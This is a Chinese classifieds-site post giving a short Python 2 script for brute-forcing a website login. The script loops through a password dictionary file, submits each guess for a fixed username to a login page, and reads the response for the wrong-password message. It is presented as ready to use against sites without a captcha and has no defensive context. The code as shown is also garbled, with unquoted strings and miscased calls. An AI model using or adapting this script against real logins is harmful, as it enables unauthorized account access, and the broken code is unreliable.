您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

使用python进行密码暴力破解

2024/3/11 4:08:56发布19次查看
根据字典文件,使用python进行暴力破解,程序很简单
注:针对没有验证码的情况
实例代码:
#encoding=utf-8 import httplib,urllib conn = httplib.httpconnection(www.xxx.cn) f=open(dict.txt) while 1: pwd=f.readline().strip() if not pwd: print '字典已比对完。' break params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd}) headers = {content-type: application/x-www-form-urlencoded,accept: text/plain} conn.request(get, /login/aaa.asp, params, headers) r = conn.getresponse() print r.status, r.reason data1 = r.read().decode('gbk')#编码根据实际情况酌情处理 print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd conn.close()
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product